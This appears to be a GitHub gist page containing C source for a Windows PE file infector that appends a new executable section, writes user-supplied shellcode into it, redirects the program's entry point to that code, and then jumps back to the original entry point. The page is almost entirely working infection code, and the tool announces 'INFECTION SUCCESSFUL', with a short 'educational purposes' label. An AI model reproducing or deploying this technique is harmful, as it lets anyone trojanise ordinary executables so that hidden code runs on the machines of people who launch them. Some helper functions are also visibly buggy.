Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Last active March 22, 2016 18:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mgeeky/e27ab6f69ee9eec18214 to your computer and use it in GitHub Desktop.
Save mgeeky/e27ab6f69ee9eec18214 to your computer and use it in GitHub Desktop.
Poorly coded, but doing it's job - simple PE infection utility, leveraging append-section technique. (one of those codes when my code style fu was not the way it meant to be, apologize for that)
#include <windows.h>
#include <cstdio>
///////////////////////////////////////////////
IMAGE_DOS_HEADER *g_iDosHdr;
IMAGE_FILE_HEADER *g_iFileHdr;
IMAGE_OPTIONAL_HEADER *g_iOptionalHdr;
IMAGE_SECTION_HEADER g_iNewSectHdr,
*g_iLastSectHdr;
DWORD g_dwSizeOfShellcode;
DWORD g_dwOEP;
DWORD g_dwImageBase;
DWORD g_dwSizeOfFile,
g_dwNewSizeOfFile;
char *g_szLoadedFile;
///////////////////////////////////////////////
DWORD RVA2Offset( DWORD dwRVA )
{
DWORD dwOffset = 0;
int i = 0;
IMAGE_SECTION_HEADER* pImageSectHdr;
while(i < g_iFileHdr->NumberOfSections )
{
pImageSectHdr =
(IMAGE_SECTION_HEADER*)( g_szLoadedFile + g_iDosHdr->e_lfanew
+ 4 + sizeof( IMAGE_FILE_HEADER) + sizeof( IMAGE_OPTIONAL_HEADER ) +
+ ( (g_iFileHdr->NumberOfSections) * sizeof( IMAGE_SECTION_HEADER) ) );
if( pImageSectHdr->VirtualAddress <= dwRVA &&
pImageSectHdr->VirtualAddress + pImageSectHdr->Misc.VirtualSize > dwRVA ){
dwOffset = dwRVA - pImageSectHdr->VirtualAddress + pImageSectHdr->PointerToRawData;
}
i++;
}
return dwOffset;
}
///////////////////////////////////////////////
DWORD Offset2RVA(DWORD dwOffset)
{
DWORD dwRVA = 0;
int i = 0;
IMAGE_SECTION_HEADER* pImageSectHdr;
while(i < g_iFileHdr->NumberOfSections )
{
pImageSectHdr =
(IMAGE_SECTION_HEADER*)( g_szLoadedFile + g_iDosHdr->e_lfanew
+ 4 + sizeof( IMAGE_FILE_HEADER) + sizeof( IMAGE_OPTIONAL_HEADER ) +
+ ( (g_iFileHdr->NumberOfSections) * sizeof( IMAGE_SECTION_HEADER) ) );
if( pImageSectHdr->PointerToRelocations<=dwOffset &&
pImageSectHdr->PointerToRawData + pImageSectHdr->SizeOfRawData > dwOffset ){
dwRVA = dwOffset + pImageSectHdr->VirtualAddress - pImageSectHdr->PointerToRawData;
}
i++;
}
return dwRVA;
}
///////////////////////////////////////////////
void CreateSection( DWORD dwSizeOfSection, DWORD dwDesiredAccess, char *szNameOfSection)
{
IMAGE_SECTION_HEADER ish;
DWORD dwFileAlignment = 0,
dwNewVirtualAddress = 0,
dwSectionAlignment = 0;
memset( (void*)&ish, 0, sizeof( ish));
dwFileAlignment = g_iOptionalHdr->FileAlignment;
dwSectionAlignment = g_iOptionalHdr->SectionAlignment;
//dwNewVirtualAddress = (g_iLastSectHdr->SizeOfRawData / dwSectionAlignment + 1)
// * dwSectionAlignment + g_iLastSectHdr->VirtualAddress;
dwNewVirtualAddress = (g_iLastSectHdr->SizeOfRawData / dwSectionAlignment + 1) * dwSectionAlignment
+ g_iLastSectHdr->VirtualAddress;
memcpy( ish.Name, szNameOfSection, IMAGE_SIZEOF_SHORT_NAME);
ish.Misc.VirtualSize = dwSizeOfSection;
ish.VirtualAddress = dwNewVirtualAddress;
ish.SizeOfRawData = ( dwSizeOfSection / dwFileAlignment + 1) * dwFileAlignment;
ish.PointerToRawData = g_iLastSectHdr->PointerToRawData + g_iLastSectHdr->SizeOfRawData;
ish.Characteristics = dwDesiredAccess;
memcpy( (void*)&g_iNewSectHdr, (const void*)&ish, sizeof( ish));
g_iFileHdr->NumberOfSections ++;
printf( "[+] Created new section \"%s\" (VA: %Xh, size: %Xh)\n", szNameOfSection,
ish.VirtualAddress, ish.SizeOfRawData );
}
///////////////////////////////////////////////
void PrepareFile( char* szFileName )
{
DWORD dwAddrOfFileHdr = 0;
FILE *pFile = fopen( szFileName, "rb");
if( pFile == NULL)
{
printf( "[!] Cannot open specified input file (\"%s\") !", szFileName);
exit(0);
}
fseek( pFile, 0, SEEK_END);
g_dwSizeOfFile = ftell( pFile);
g_dwNewSizeOfFile = g_dwSizeOfFile + g_dwSizeOfShellcode + sizeof( IMAGE_SECTION_HEADER) + 32;
g_szLoadedFile = (char*)malloc( g_dwNewSizeOfFile + 8 );
memset( g_szLoadedFile, 0, g_dwNewSizeOfFile+8);
printf( "[+] Parsing input file...");
for( int i = 0; i < g_dwSizeOfFile; i++){
fseek( pFile, i, SEEK_SET);
g_szLoadedFile[ i] = fgetc( pFile);
}
// fread( g_szLoadedFile, 1, g_dwSizeOfFile, pFile);
printf( "[+] Successfully read %d bytes from input file...\n", g_dwSizeOfFile);
memset( (void*)&g_iDosHdr, 0, sizeof( g_iDosHdr ));
memset( (void*)&g_iFileHdr, 0, sizeof( g_iFileHdr ));
memset( (void*)&g_iOptionalHdr, 0, sizeof( g_iOptionalHdr ));
memset( (void*)&g_iNewSectHdr, 0, sizeof( g_iNewSectHdr ));
memset( (void*)&g_iLastSectHdr, 0, sizeof( g_iLastSectHdr ));
// Gathering headers
g_iDosHdr = (IMAGE_DOS_HEADER*)g_szLoadedFile;
if( g_iDosHdr->e_magic != 23117 /* 0x5A4D */)
{
printf( "[!] This is not valid executable file !\n");
exit( 0);
}
dwAddrOfFileHdr = DWORD( g_szLoadedFile + g_iDosHdr->e_lfanew + 4);
g_iFileHdr = (IMAGE_FILE_HEADER*)dwAddrOfFileHdr;
g_iOptionalHdr = (IMAGE_OPTIONAL_HEADER*)(dwAddrOfFileHdr + sizeof( IMAGE_FILE_HEADER));
IMAGE_FILE_HEADER ifh = *g_iFileHdr;
IMAGE_OPTIONAL_HEADER iof = *g_iOptionalHdr;
if( *((DWORD*)(dwAddrOfFileHdr-4)) != 0x4550)
{
printf( "[!] Input file is not valid PE file !");
exit( 0);
}
g_iLastSectHdr = (IMAGE_SECTION_HEADER*)(0x80 + sizeof( IMAGE_NT_HEADERS) + g_szLoadedFile +
( (g_iFileHdr->NumberOfSections-1) * sizeof( IMAGE_SECTION_HEADER)));
g_dwOEP = g_iOptionalHdr->AddressOfEntryPoint;
g_dwImageBase = g_iOptionalHdr->ImageBase;
printf( "[+] Successfully gathered PE headers from this executable...\n");
fclose( pFile);
}
///////////////////////////////////////////////
void AppendShellcode( char *szFileWithShellcode )
{
DWORD dwRelocatedEP = g_dwOEP + g_dwImageBase;
char dwJmpOEP[4] = {
dwRelocatedEP & 0xFF,
(dwRelocatedEP & 0xFF00) / 0x100,
(dwRelocatedEP & 0xFF0000) / 0x10000,
(dwRelocatedEP & 0xFF000000) / 0x1000000
};
/* How to calculate next bytes from: 0x12345678
0. 0x78 = 0x12345678 & 0xFF = 0x78
1. 0x5600 = 0x12345678 & 0xFF00 => 0x5600 / 0x100 = 0x56
2. 0x340000 = 0x12345678 & 0xFF0000 => 0x340000 / 0x10000 = 0x34
3. 0x12000000 = 0x12345678 & 0xFF000000 => 0x12000000 / 0x1000000 = 0x12
Succession of bytes (of address): 3, 2, 1, 0 (Little Endian): 78,56,34,12
*/
char szAdditionalShellcode [32] = {
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0xB8, dwJmpOEP[0], dwJmpOEP[1], dwJmpOEP[2], dwJmpOEP[3], 0xFF, 0xE0
}; /* 32 bytes */
/* Upper shellcode does:
*
* B8(dwRelocatedEP) mov eax, dwRelocatedEP
* FFE0 jmp eax
**/
FILE *pFile = fopen( szFileWithShellcode, "rb");
DWORD dwTmp = g_dwSizeOfShellcode + sizeof( szAdditionalShellcode);
char *pBuf = (char*) malloc( dwTmp);
memset( pBuf, 0, dwTmp);
fread( pBuf, 1, g_dwSizeOfShellcode, pFile);
fclose( pFile);
DWORD dwOffset = g_iNewSectHdr.PointerToRawData;
memcpy( (void*)( pBuf + g_dwSizeOfShellcode), szAdditionalShellcode, sizeof( szAdditionalShellcode));
memcpy( (void*)( g_szLoadedFile+dwOffset ), pBuf, dwTmp);
dwTmp = g_iOptionalHdr->SizeOfImage;
dwTmp += g_dwSizeOfShellcode + sizeof( szAdditionalShellcode) + 1;
dwTmp = ( dwTmp / g_iOptionalHdr->SectionAlignment + 1)
* g_iOptionalHdr->SectionAlignment;
g_iOptionalHdr->SizeOfImage = dwTmp;
printf( "[+] Shellcode successfully appended (OEP: 0x%X)...\n", dwRelocatedEP );
printf( "\t[?] Jump shellcode: [ %X %X %X %X %X %X %X ]\n",
szAdditionalShellcode[31], szAdditionalShellcode[30], szAdditionalShellcode[29],
szAdditionalShellcode[28], szAdditionalShellcode[27], szAdditionalShellcode[26],
szAdditionalShellcode[25] );
free( (void*)pBuf);
}
///////////////////////////////////////////////
void BuildImage( char *szImageName)
{
printf( "[?] Preparing to build new image...\n");
g_iDosHdr->e_ovno = 0xDEAD; // We leave sign of our activity (infection)
FILE *pFile = fopen( szImageName, "wb");
if( pFile == NULL)
{
printf( "[!] Cannot open specified output file (\"%s\") !", szImageName);
exit(0);
}
DWORD dwTmp1 = g_iDosHdr->e_lfanew + 4 + sizeof( IMAGE_FILE_HEADER)
+ sizeof( IMAGE_OPTIONAL_HEADER )
+ ( (g_iFileHdr->NumberOfSections-1) * sizeof( IMAGE_SECTION_HEADER) ) ;
DWORD dwTmp2 = g_dwNewSizeOfFile - (dwTmp1+sizeof( g_iNewSectHdr) );
fwrite( (const void*)g_szLoadedFile, 1, dwTmp1, pFile);
fwrite( (const void*)&g_iNewSectHdr, 1, sizeof( g_iNewSectHdr), pFile);
fwrite( (const void*)(g_szLoadedFile+dwTmp1+sizeof( g_iNewSectHdr)), 1, dwTmp2, pFile);
printf( "[+] Image successfully builded ! INFECTION SUCCESSFUL !\n");
}
///////////////////////////////////////////////
void ChangeEntryPoint( )
{
g_iOptionalHdr->AddressOfEntryPoint = g_iNewSectHdr.VirtualAddress;
printf( "[+] Entry point successfylly changed from %X to %X...\n",
g_dwOEP, g_iOptionalHdr->AddressOfEntryPoint);
}
///////////////////////////////////////////////
void InfectFile( char *szFileName, char *szFileWithShellcode, char *szImageName, char *szSectName)
{
if( szSectName == NULL ) szSectName = ".inf";
if( strlen( szSectName) < 1) szSectName = ".inf";
PrepareFile( szFileName );
CreateSection( g_dwSizeOfShellcode+33, IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |
IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE, szSectName );
ChangeEntryPoint( );
AppendShellcode( szFileWithShellcode );
BuildImage( szImageName);
}
///////////////////////////////////////////////
int main( int argc, char **argv)
{
if( argc < 2 )
{
printf( "Usage:\t%s\n\t\tinput_file shellcode_file [output_file] [optional sect_name]\n"
"\n\tinput_file\t- file that will be patched (infected)"
"\n\tshellcode_file\t- file with shellcode to append"
"\n\toutput_file\t- (optional) name of output file"
"\n\tsect_name\t- (optional) name of new section\n\n"
"Program will simply add new section, change entry point to the\nappended"
" code in new section and will perfrom little\nmodification in PE headers.\t"
"(author: MGeeky, 10.2009 - Educational purposes)\n",
argv[0]);
exit(0);
}
printf( "[?] Exploring shellcode binary file...\n");
FILE *pFile = fopen( argv[2], "rb");
if( pFile == NULL)
{
printf( "[!] Cannot open shellcode file (\"%s\") !", argv[2]);
exit(0);
}
fseek( pFile, 0, SEEK_END);
g_dwSizeOfShellcode = ftell( pFile);
fclose( pFile);
char szImageName[ 255] = "";
if( strlen( argv[3] ) > 0)
strcpy( szImageName, argv[3] );
else sprintf( szImageName, "patched.exe");
fflush( stdout);
// Infecting file...
InfectFile( argv[1], argv[2], szImageName, argv[4]);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment